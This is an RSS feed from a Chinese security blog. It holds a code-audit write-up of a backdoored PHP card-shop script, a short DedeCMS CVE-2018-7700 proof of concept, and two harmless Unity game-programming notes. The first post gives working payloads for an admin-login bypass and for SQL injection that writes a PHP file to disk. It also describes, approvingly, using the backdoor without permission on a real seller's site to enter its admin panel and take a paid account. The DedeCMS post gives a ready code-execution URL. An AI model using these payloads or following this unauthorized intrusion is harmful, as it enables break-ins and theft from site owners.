<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>代码 &#8211; ChaBug安全</title>
	<atom:link href="/tags/%E4%BB%A3%E7%A0%81/feed" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>一个分享知识、结识伙伴、资源共享的博客</description>
	<lastBuildDate>Fri, 23 Aug 2019 01:26:44 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.5.5</generator>
	<item>
		<title>记一次由百度云会员引起的审计及渗透</title>
		<link>/web/653.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sat, 06 Jul 2019 17:19:44 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[代码]]></category>
		<category><![CDATA[代码审计]]></category>
		<category><![CDATA[实战]]></category>
		<guid isPermaLink="false">/?p=653</guid>

					<description><![CDATA[本文首发于secquan，未经许可禁止转载 百度云盘真的恶心，不开会员10k/s。 前言# 前天找了点域渗透的环境和资料，都是百度云盘存储的，一个镜像十几个g，下不下来，发现网上有...]]></description>
										<content:encoded><![CDATA[<blockquote>
<h1>本文首发于<a href="https://secquan.org/Discuss/1069217" target="_blank" rel="nofollow noopener noreferrer">secquan</a>，未经许可禁止转载</h1>
</blockquote>
<p>百度云盘真的恶心，不开会员10k/s。</p>
<h1 id="前言">前言#</h1>
<p>前天找了点域渗透的环境和资料，都是百度云盘存储的，一个镜像十几个g，下不下来，发现网上有卖百度云VIP账号的，都是一些发卡网，刚好自己最近在学<a class="tag_link" title="浏览关于“代码审计”的文章" href="/tags/%e4%bb%a3%e7%a0%81%e5%ae%a1%e8%ae%a1" target="_blank" rel="noopener noreferrer">代码审计</a>，就想着下载一套源码自己看看能不能审出漏洞。没想到还真看出来了点东西。</p>
<h1 id="开搞">开搞#</h1>
<p>目标站点<code>xx.com</code>扫出了<code>readme.txt</code>，是<strong>企业版PHP自动发卡源码免授权优化版</strong></p>
<div class="post-image"><img src="https://i.loli.net/2019/04/03/5ca44f26f1c2d.png" alt="记一次由百度云会员引起的审计及渗透-ChaBug安全" data-type="image" /></div>
<p>看到这免授权优化版我就知道有戏，很可能存在后门。网上找了一套</p>
<div class="post-image"><img src="https://i.loli.net/2019/04/03/5ca44ae953321.png" alt="记一次由百度云会员引起的审计及渗透-ChaBug安全" data-type="image" /></div>
<p>目录结构和目标站点一样，应该就是这套了。</p>
<p>本地搭建，然后源<a class="tag_link" title="浏览关于“代码”的文章" href="/tags/%e4%bb%a3%e7%a0%81" target="_blank" rel="noopener noreferrer">代码</a>扔到seay先跑着，我先大概看下架构</p>
<p><code>index.php</code>入口</p>
<div class="post-image"><img src="https://i.loli.net/2019/04/03/5ca44c7c0e494.png" alt="记一次由百度云会员引起的审计及渗透-ChaBug安全" data-type="image" /></div>
<p>典型的mvc架构</p>
<div class="post-image"><img src="https://i.loli.net/2019/04/03/5ca44d52a842a.png" alt="记一次由百度云会员引起的审计及渗透-ChaBug安全" data-type="image" /></div>
<p>伪静态重写URL</p>
<div class="post-image"><img src="https://i.loli.net/2019/04/03/5ca44d6f54b2b.png" alt="记一次由百度云会员引起的审计及渗透-ChaBug安全" data-type="image" /></div>
<p><span class="wpcom_tag_link"><a href="/tags/%e4%bb%a3%e7%a0%81%e5%ae%a1%e8%ae%a1" title="代码审计" target="_blank">代码审计</a></span>这方面我是新手，所以我的目标是找找sql注入、未授权访问、上传点以及越权，当然考虑到是免授权优化版，我还可以找找后门：文件遍历或者<span class="wpcom_tag_link"><a href="/tags/%e4%bb%a3%e7%a0%81" title="代码" target="_blank">代码</a></span>执行</p>
<h2 id="[后门?]文件遍历">[后门?]文件遍历#</h2>
<p><code>/bom.php</code>的<code>checkdir()</code>函数</p>
<div class="post-image"><img src="https://i.loli.net/2019/04/03/5ca44ea32b4b0.png" alt="记一次由百度云会员引起的审计及渗透-ChaBug安全" data-type="image" /></div>
<div class="post-image"><img src="https://i.loli.net/2019/04/03/5ca450121c74e.png" alt="记一次由百度云会员引起的审计及渗透-ChaBug安全" data-type="image" /></div>
<p>递归遍历当前目录下的所有文件。</p>
<p>这个文件应该是去除文件的bom头，不知道算不算后门。</p>
<h2 id="过滤方式">过滤方式#</h2>
<p><code>\includes\libs\Functions.php</code></p>
<div class="post-image"><img src="https://i.loli.net/2019/04/03/5ca451dcbba4f.png" alt="记一次由百度云会员引起的审计及渗透-ChaBug安全" data-type="image" /></div>
<p>全局<code>makeSafe()</code>函数过滤，强转数字，<code>addslashes()</code>和<code>mysql_real_escape_string()</code>转义字符串，<code>strip_tags</code>去除html标签</p>
<p><code>\includes\libs\Mysql.php</code></p>
<p>MySQL使用UTF8编码<img src="https://i.loli.net/2019/04/03/5ca4523a907e7.png" alt="记一次由百度云会员引起的审计及渗透-ChaBug安全" data-type="image" /></p>
<p>我发现的SQL语句变量全部使用单引号进行包裹，寄希望于seay，暂放。</p>
<h2 id="[后门]获取管理员账户">[后门]获取管理员账户#</h2>
<p><code>\admin\adminInfo.php</code>没有鉴权</p>
<p><img src="https://i.loli.net/2019/04/03/5ca453efb4bab.png" alt="记一次由百度云会员引起的审计及渗透-ChaBug安全" data-type="image" /></p>
<div id="crayon-5d1dfd3dca8ad344490696" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d1dfd3dca8ad344490696-1">1</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d1dfd3dca8ad344490696-2">2</div>
<div class="crayon-num" data-line="crayon-5d1dfd3dca8ad344490696-3">3</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d1dfd3dca8ad344490696-4">4</div>
<div class="crayon-num" data-line="crayon-5d1dfd3dca8ad344490696-5">5</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d1dfd3dca8ad344490696-6">6</div>
<div class="crayon-num" data-line="crayon-5d1dfd3dca8ad344490696-7">7</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d1dfd3dca8ad344490696-8">8</div>
<div class="crayon-num" data-line="crayon-5d1dfd3dca8ad344490696-9">9</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d1dfd3dca8ad344490696-10">10</div>
<div class="crayon-num" data-line="crayon-5d1dfd3dca8ad344490696-11">11</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d1dfd3dca8ad344490696-12">12</div>
<div class="crayon-num" data-line="crayon-5d1dfd3dca8ad344490696-13">13</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d1dfd3dca8ad344490696-14">14</div>
<div class="crayon-num" data-line="crayon-5d1dfd3dca8ad344490696-15">15</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d1dfd3dca8ad344490696-16">16</div>
<div class="crayon-num" data-line="crayon-5d1dfd3dca8ad344490696-17">17</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d1dfd3dca8ad344490696-18">18</div>
<div class="crayon-num" data-line="crayon-5d1dfd3dca8ad344490696-19">19</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d1dfd3dca8ad344490696-20">20</div>
<div class="crayon-num" data-line="crayon-5d1dfd3dca8ad344490696-21">21</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d1dfd3dca8ad344490696-22">22</div>
<div class="crayon-num" data-line="crayon-5d1dfd3dca8ad344490696-23">23</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d1dfd3dca8ad344490696-24">24</div>
<div class="crayon-num" data-line="crayon-5d1dfd3dca8ad344490696-25">25</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d1dfd3dca8ad344490696-26">26</div>
<div class="crayon-num" data-line="crayon-5d1dfd3dca8ad344490696-27">27</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d1dfd3dca8ad344490696-28">28</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d1dfd3dca8ad344490696-1" class="crayon-line"><span class="crayon-t">function</span> <span class="crayon-e">getmethod</span><span class="crayon-sy">(</span><span class="crayon-sy">)</span><span class="crayon-sy">{</span></div>
<div id="crayon-5d1dfd3dca8ad344490696-2" class="crayon-line crayon-striped-line"><span class="crayon-h">    </span><span class="crayon-sy">$</span><span class="crayon-v">ob</span> <span class="crayon-o">=</span> <span class="crayon-r">new</span> <span class="crayon-e">Admin_Model</span><span class="crayon-sy">(</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d1dfd3dca8ad344490696-3" class="crayon-line"><span class="crayon-h">    </span><span class="crayon-sy">$</span><span class="crayon-v">items</span> <span class="crayon-o">=</span> <span class="crayon-sy">$</span><span class="crayon-v">ob</span><span class="crayon-o">-&gt;</span><span class="crayon-e">getData</span><span class="crayon-sy">(</span><span class="crayon-cn">1</span><span class="crayon-sy">,</span> <span class="crayon-cn">10</span><span class="crayon-sy">,</span> <span class="crayon-s">&#8220;WHERE id &lt;&gt; -1&#8221;</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d1dfd3dca8ad344490696-4" class="crayon-line crayon-striped-line"><span class="crayon-h">    </span><span class="crayon-sy">$</span><span class="crayon-v">index</span> <span class="crayon-o">=</span> <span class="crayon-cn">0</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d1dfd3dca8ad344490696-5" class="crayon-line"><span class="crayon-h">    </span><span class="crayon-i">echo</span> <span class="crayon-s">&#8220;&lt;table border=&#8217;1&#8242; style=&#8221;&gt;&#8221;</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d1dfd3dca8ad344490696-6" class="crayon-line crayon-striped-line"><span class="crayon-h">    </span><span class="crayon-st">foreach</span><span class="crayon-sy">(</span><span class="crayon-sy">$</span><span class="crayon-e">items </span><span class="crayon-st">as</span> <span class="crayon-sy">$</span><span class="crayon-v">item</span><span class="crayon-sy">)</span><span class="crayon-sy">{</span></div>
<div id="crayon-5d1dfd3dca8ad344490696-7" class="crayon-line"><span class="crayon-h">        </span><span class="crayon-i">echo</span> <span class="crayon-s">&#8220;&lt;tr&gt;&#8221;</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d1dfd3dca8ad344490696-8" class="crayon-line crayon-striped-line"><span class="crayon-h">        </span><span class="crayon-sy">$</span><span class="crayon-v">index</span> <span class="crayon-o">++</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d1dfd3dca8ad344490696-9" class="crayon-line"><span class="crayon-h">        </span><span class="crayon-st">if</span><span class="crayon-sy">(</span><span class="crayon-sy">$</span><span class="crayon-v">index</span> <span class="crayon-o">==</span> <span class="crayon-cn">1</span><span class="crayon-sy">)</span><span class="crayon-sy">{</span><span class="crayon-h">        </span></div>
<div id="crayon-5d1dfd3dca8ad344490696-10" class="crayon-line crayon-striped-line"><span class="crayon-h">            </span><span class="crayon-st">foreach</span><span class="crayon-sy">(</span><span class="crayon-sy">$</span><span class="crayon-e">item </span><span class="crayon-st">as</span> <span class="crayon-sy">$</span><span class="crayon-v">key</span> <span class="crayon-o">=</span><span class="crayon-o">&gt;</span> <span class="crayon-sy">$</span><span class="crayon-v">val</span><span class="crayon-sy">)</span><span class="crayon-sy">{</span></div>
<div id="crayon-5d1dfd3dca8ad344490696-11" class="crayon-line"><span class="crayon-h">                </span><span class="crayon-st">if</span><span class="crayon-sy">(</span><span class="crayon-e">preg_match</span><span class="crayon-sy">(</span><span class="crayon-s">&#8220;/^\d*$/&#8221;</span><span class="crayon-sy">,</span><span class="crayon-sy">$</span><span class="crayon-v">key</span><span class="crayon-sy">)</span><span class="crayon-sy">)</span><span class="crayon-sy">{</span></div>
<div id="crayon-5d1dfd3dca8ad344490696-12" class="crayon-line crayon-striped-line"><span class="crayon-h">                    </span><span class="crayon-st">continue</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d1dfd3dca8ad344490696-13" class="crayon-line"><span class="crayon-h">                </span><span class="crayon-sy">}</span></div>
<div id="crayon-5d1dfd3dca8ad344490696-14" class="crayon-line crayon-striped-line"><span class="crayon-h">                </span><span class="crayon-i">echo</span> <span class="crayon-s">&#8220;&lt;th&gt;$key&lt;/th&gt;&#8221;</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d1dfd3dca8ad344490696-15" class="crayon-line"><span class="crayon-h">            </span><span class="crayon-sy">}</span></div>
<div id="crayon-5d1dfd3dca8ad344490696-16" class="crayon-line crayon-striped-line"><span class="crayon-h">            </span><span class="crayon-i">echo</span> <span class="crayon-s">&#8220;&lt;/tr&gt;&#8221;</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d1dfd3dca8ad344490696-17" class="crayon-line"><span class="crayon-h">            </span><span class="crayon-i">echo</span> <span class="crayon-s">&#8220;&lt;tr&gt;&#8221;</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d1dfd3dca8ad344490696-18" class="crayon-line crayon-striped-line"><span class="crayon-h">        </span><span class="crayon-sy">}</span></div>
<div id="crayon-5d1dfd3dca8ad344490696-19" class="crayon-line"><span class="crayon-h">        </span><span class="crayon-st">foreach</span><span class="crayon-sy">(</span><span class="crayon-sy">$</span><span class="crayon-e">item </span><span class="crayon-st">as</span> <span class="crayon-sy">$</span><span class="crayon-v">key</span> <span class="crayon-o">=</span><span class="crayon-o">&gt;</span> <span class="crayon-sy">$</span><span class="crayon-v">val</span><span class="crayon-sy">)</span><span class="crayon-sy">{</span></div>
<div id="crayon-5d1dfd3dca8ad344490696-20" class="crayon-line crayon-striped-line"><span class="crayon-h">            </span><span class="crayon-st">if</span><span class="crayon-sy">(</span><span class="crayon-e">preg_match</span><span class="crayon-sy">(</span><span class="crayon-s">&#8220;/^\d*$/&#8221;</span><span class="crayon-sy">,</span><span class="crayon-sy">$</span><span class="crayon-v">key</span><span class="crayon-sy">)</span><span class="crayon-sy">)</span><span class="crayon-sy">{</span></div>
<div id="crayon-5d1dfd3dca8ad344490696-21" class="crayon-line"><span class="crayon-h">                </span><span class="crayon-st">continue</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d1dfd3dca8ad344490696-22" class="crayon-line crayon-striped-line"><span class="crayon-h">            </span><span class="crayon-sy">}</span></div>
<div id="crayon-5d1dfd3dca8ad344490696-23" class="crayon-line"><span class="crayon-h">            </span><span class="crayon-i">echo</span> <span class="crayon-s">&#8220;&lt;td&gt;$val&lt;/td&gt;&#8221;</span><span class="crayon-sy">;</span><span class="crayon-h">   </span></div>
<div id="crayon-5d1dfd3dca8ad344490696-24" class="crayon-line crayon-striped-line"><span class="crayon-h">        </span><span class="crayon-sy">}</span></div>
<div id="crayon-5d1dfd3dca8ad344490696-25" class="crayon-line"><span class="crayon-h">        </span><span class="crayon-i">echo</span> <span class="crayon-s">&#8220;&lt;/tr&gt;&#8221;</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d1dfd3dca8ad344490696-26" class="crayon-line crayon-striped-line"><span class="crayon-h">    </span><span class="crayon-sy">}</span></div>
<div id="crayon-5d1dfd3dca8ad344490696-27" class="crayon-line"><span class="crayon-h">    </span><span class="crayon-i">echo</span> <span class="crayon-s">&#8220;&lt;/table&gt;&#8221;</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d1dfd3dca8ad344490696-28" class="crayon-line crayon-striped-line"><span class="crayon-sy">}</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>payload：<code>/admin/adminInfo.php?action=get</code></p>
<h2 id="[后门]无需密码登录后台">[后门]无需密码登录后台#</h2>
<p>还是<code>\admin\adminInfo.php</code></p>
<div id="crayon-5d1dfd3dca8b7805402794" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d1dfd3dca8b7805402794-1">1</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d1dfd3dca8b7805402794-2">2</div>
<div class="crayon-num" data-line="crayon-5d1dfd3dca8b7805402794-3">3</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d1dfd3dca8b7805402794-4">4</div>
<div class="crayon-num" data-line="crayon-5d1dfd3dca8b7805402794-5">5</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d1dfd3dca8b7805402794-6">6</div>
<div class="crayon-num" data-line="crayon-5d1dfd3dca8b7805402794-7">7</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d1dfd3dca8b7805402794-8">8</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d1dfd3dca8b7805402794-1" class="crayon-line"><span class="crayon-t">function</span> <span class="crayon-e">infomethod</span><span class="crayon-sy">(</span><span class="crayon-sy">)</span><span class="crayon-sy">{</span></div>
<div id="crayon-5d1dfd3dca8b7805402794-2" class="crayon-line crayon-striped-line"><span class="crayon-h">    </span><span class="crayon-sy">$</span><span class="crayon-v">ob</span> <span class="crayon-o">=</span> <span class="crayon-r">new</span> <span class="crayon-e">Admin_Model</span><span class="crayon-sy">(</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d1dfd3dca8b7805402794-3" class="crayon-line"><span class="crayon-h">    </span><span class="crayon-sy">$</span><span class="crayon-v">u</span> <span class="crayon-o">=</span> <span class="crayon-sy">$</span><span class="crayon-v">ob</span><span class="crayon-o">-&gt;</span><span class="crayon-e">getOneData</span><span class="crayon-sy">(</span><span class="crayon-sy">$</span><span class="crayon-v">_GET</span><span class="crayon-sy">[</span><span class="crayon-s">&#8216;id&#8217;</span><span class="crayon-sy">]</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d1dfd3dca8b7805402794-4" class="crayon-line crayon-striped-line"><span class="crayon-h">    </span><span class="crayon-sy">$</span><span class="crayon-v">_SESSION</span><span class="crayon-sy">[</span><span class="crayon-s">&#8216;login_adminname&#8217;</span><span class="crayon-sy">]</span><span class="crayon-o">=</span><span class="crayon-sy">$</span><span class="crayon-v">u</span><span class="crayon-sy">[</span><span class="crayon-s">&#8216;username&#8217;</span><span class="crayon-sy">]</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d1dfd3dca8b7805402794-5" class="crayon-line"><span class="crayon-h">    </span><span class="crayon-sy">$</span><span class="crayon-v">_SESSION</span><span class="crayon-sy">[</span><span class="crayon-s">&#8216;login_adminid&#8217;</span><span class="crayon-sy">]</span><span class="crayon-o">=</span><span class="crayon-sy">$</span><span class="crayon-v">u</span><span class="crayon-sy">[</span><span class="crayon-s">&#8216;id&#8217;</span><span class="crayon-sy">]</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d1dfd3dca8b7805402794-6" class="crayon-line crayon-striped-line"><span class="crayon-h">    </span><span class="crayon-sy">$</span><span class="crayon-v">_SESSION</span><span class="crayon-sy">[</span><span class="crayon-s">&#8216;login_adminutype&#8217;</span><span class="crayon-sy">]</span><span class="crayon-o">=</span><span class="crayon-sy">$</span><span class="crayon-v">u</span><span class="crayon-sy">[</span><span class="crayon-s">&#8216;utype&#8217;</span><span class="crayon-sy">]</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d1dfd3dca8b7805402794-7" class="crayon-line"><span class="crayon-h">    </span><span class="crayon-sy">$</span><span class="crayon-v">_SESSION</span><span class="crayon-sy">[</span><span class="crayon-s">&#8216;login_adminlimit&#8217;</span><span class="crayon-sy">]</span><span class="crayon-o">=</span><span class="crayon-e">explode</span><span class="crayon-sy">(</span><span class="crayon-s">&#8216;|&#8217;</span><span class="crayon-sy">,</span><span class="crayon-sy">$</span><span class="crayon-v">u</span><span class="crayon-sy">[</span><span class="crayon-s">&#8216;adminlimit&#8217;</span><span class="crayon-sy">]</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d1dfd3dca8b7805402794-8" class="crayon-line crayon-striped-line"><span class="crayon-sy">}</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>payload:先访问<code>/admin/adminInfo.php?action=info&amp;id=1</code>然后访问<code>/admin/</code></p>
<h2 id="[后门]SQL注入">[后门]SQL注入#</h2>
<p>还是<code>\admin\adminInfo.php</code>的<code>infomethod()</code>函数</p>
<div id="crayon-5d1dfd3dca8b9770505137" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d1dfd3dca8b9770505137-1">1</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d1dfd3dca8b9770505137-1" class="crayon-line"><span class="crayon-sy">$</span><span class="crayon-v">u</span> <span class="crayon-o">=</span> <span class="crayon-sy">$</span><span class="crayon-v">ob</span><span class="crayon-o">-&gt;</span><span class="crayon-e">getOneData</span><span class="crayon-sy">(</span><span class="crayon-sy">$</span><span class="crayon-v">_GET</span><span class="crayon-sy">[</span><span class="crayon-s">&#8216;id&#8217;</span><span class="crayon-sy">]</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>id直接代入数据库查询，可尝试<code>into outfile</code></p>
<p>payload</p>
<div id="crayon-5d1dfd3dca8bb897660177" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d1dfd3dca8bb897660177-1">1</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d1dfd3dca8bb897660177-1" class="crayon-line"><span class="crayon-v">http</span><span class="crayon-o">:</span><span class="crayon-c">//go.go/admin/admininfo.php?action=info&amp;id=-1 union select 1,2,3,4,5,6,7,8,9,10,&#8217;<span class="crayon-ta">&lt;?php</span> <span class="crayon-e">phpinfo</span><span class="crayon-sy">(</span><span class="crayon-sy">)</span><span class="crayon-ta">?&gt;</span>&#8216; into outfile &#8216;E:/WWW/faka/1.php&#8217;</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<h2 id="后台任意文件上传">后台任意文件上传#</h2>
<p><code>/admin/set.php</code>未对文件后缀校验</p>
<div class="post-image"><img src="https://i.loli.net/2019/04/03/5ca4581bbeb22.png" alt="记一次由百度云会员引起的审计及渗透-ChaBug安全" data-type="image" /></div>
<div class="post-image"><img src="https://i.loli.net/2019/04/03/5ca457c2b0c0d.png" alt="记一次由百度云会员引起的审计及渗透-ChaBug安全" data-type="image" /></div>
<h2 id="漏洞利用">漏洞利用#</h2>
<p>文件遍历拿到后台=&gt;<code>adminInfo.php</code>拿到管理员账户或直接登陆=&gt;任意文件上传拿shell</p>
<h1 id="实战"><a class="tag_link" title="浏览关于“实战”的文章" href="/tags/%e5%ae%9e%e6%88%98" target="_blank" rel="noopener noreferrer">实战</a>#</h1>
<p>后门进入后台，上传没有写文件权限，sql注入outfile写文件被宝塔拦截，尝试多种方法无果，放弃，毕竟账号已经有了，下东西去。</p>
<div class="post-image"><img src="https://i.loli.net/2019/04/03/5ca4598882548.png" alt="记一次由百度云会员引起的审计及渗透-ChaBug安全" data-type="image" /></div>
<p>ps:我没想到一个卖百度云账号的流水一天也能7k</p>
<h1 id="总结">总结#</h1>
<p>网站是死的，思路是活的。<a class="tag_link" title="浏览关于“渗透测试”的文章" href="/tags/%e6%b8%97%e9%80%8f%e6%b5%8b%e8%af%95" target="_blank" rel="noopener noreferrer">渗透测试</a>的精髓是指哪打哪，希望我可以做到。<strong>另外如果有师傅知道怎么绕过宝塔写shell的请pm我，感激不尽。</strong>有在学代码审计的同学也欢迎找我交流哦！</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Dedecms V5.7后台任意代码执行[CVE-2018-7700]</title>
		<link>/web/390.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Wed, 28 Mar 2018 16:32:00 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[cve]]></category>
		<category><![CDATA[dedecms]]></category>
		<category><![CDATA[代码]]></category>
		<guid isPermaLink="false">/?p=319</guid>

					<description><![CDATA[该漏洞的触发点为/dede/tag_test_action.php。起因是csrf_check()的绕过，导致可执行任意代码。 POC: http://localhost/后台地址...]]></description>
										<content:encoded><![CDATA[<p>该漏洞的触发点为<code>/dede/tag_test_action.php</code>。起因是<code>csrf_check()</code>的绕过，导致可执行任意<span class="wpcom_tag_link"><a href="/tags/%e4%bb%a3%e7%a0%81" title="代码" target="_blank">代码</a></span>。</p>
<p>POC:</p>
<pre><code>http://localhost/后台地址/tag_test_action.php?url=a&amp;token=&amp;partcode={dede:field name='source' runphp='yes'}phpinfo();{/dede:field}</code></pre>
<p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20180328005501-96c638a6-31df-1.png" alt="" title=""></p>
<p>利用条件：登录后台<br />解决方案：重新实现csrf_check()函数</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Unity中UGUI实现技能冷却</title>
		<link>/code/387.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Mon, 26 Mar 2018 09:55:59 +0000</pubDate>
				<category><![CDATA[编程学习]]></category>
		<category><![CDATA[C#]]></category>
		<category><![CDATA[Unity]]></category>
		<category><![CDATA[代码]]></category>
		<guid isPermaLink="false">/?p=316</guid>

					<description><![CDATA[直接贴代码 using UnityEngine; using System.Collections; using UnityEngine.UI; public class Test...]]></description>
										<content:encoded><![CDATA[<p>直接贴<span class="wpcom_tag_link"><a href="/tags/%e4%bb%a3%e7%a0%81" title="代码" target="_blank">代码</a></span></p>
<pre><code>using UnityEngine;
using System.Collections;
using UnityEngine.UI;
public class TestFiled : MonoBehaviour
{
    private Image m_image;
    //冷却时间
    public float time=2;
    void Start ()
    {
        m_image = this.GetComponent ();
        //设置图片类型为filed
        m_image.type=Image.Type.Filled;
        //设置图片填充方法
        m_image.fillMethod=Image.FillMethod.Radial360;
        //设置初始填充位置
        m_image.fillOrigin=2;
        //填充比例
        m_image.fillAmount=0;
    }
    void Update ()
    {
        //如果填充比例小于1</code></pre>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>动画系统Macanim笔记</title>
		<link>/code/385.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Fri, 23 Mar 2018 19:12:40 +0000</pubDate>
				<category><![CDATA[编程学习]]></category>
		<category><![CDATA[Unity]]></category>
		<category><![CDATA[代码]]></category>
		<category><![CDATA[笔记]]></category>
		<guid isPermaLink="false">/?p=308</guid>

					<description><![CDATA[Character Controller Character Controller 可以让角色“动起来”的常用组件有三个：Transform，Rigidbody，Character...]]></description>
										<content:encoded><![CDATA[<h1>Character Controller</h1>
<ol>
<li>Character Controller</li>
</ol>
<p>可以让角色“动起来”的常用组件有三个：Transform，Rigidbody，Character Controller<br />角色控制器也属于物理组件，它的位置在：<br />Component- &gt;Physics- &gt;Character Controller<br />角色控制器主要用于第三人称或者第一人称游戏主角(人形为主)控制。</p>
<ol>
<li>控制角色移动<br />SimpleMove（Vector3）：简单移动</li>
</ol>
<p>以一定的速度移动角色，会自动应用重力。<br />[角色控制器不是刚体，但是具备刚体的一些属性]<br /> Move（Vector3）：移动<br />更为复杂的一种运动，每次都绝对运动，不会应用重力。</p>
<p>水平：Horizontal，对应 AD 键，以及方向键的←和→。<br />垂直：Vertical，对应 WS 键，以及方向键的↑和↓。<br />轴向有返回值的，范围为-1 ~ 0 ~ 1。根据按键的力度返回相应的值。<br />4.取得轴向的值<br />Input.GetAxis（“轴向名称”）;</p>
<pre><code>float horizontal=Input.GetAxis(&quot;Horizontal&quot;);
float vertical = Input.GetAxis (&quot;Vertical&quot;);
//具有刚体的一些属性的简单移动
m_CC.SimpleMove ((new Vector3 (horizontal, 0, vertical))*3);
//移动 不会掉落
m_CC.Move ((new Vector3 (horizontal, 0, vertical))*0.333f);
</code></pre>
<h1>角色控制器属性讲解</h1>
<ol>
<li>Slope Limit</li>
</ol>
<p>斜率限制，控制角色最大的爬坡斜度。[演示：角色爬坡]</p>
<ol>
<li>Step Offset</li>
</ol>
<p>台阶高度，控制角色可以迈上最大的台阶高度。[演示：角色上台阶]</p>
<ol>
<li>Skin Width [默认即可]</li>
</ol>
<p>皮肤厚度，在角色的外围包裹着一层“皮肤”，设置这层皮肤的厚度。<br />数值调大，最明显的就是角色和地面之间的间距变大，也就是角色皮肤变厚了。</p>
<ol>
<li>Min Move Distance [默认即可]</li>
</ol>
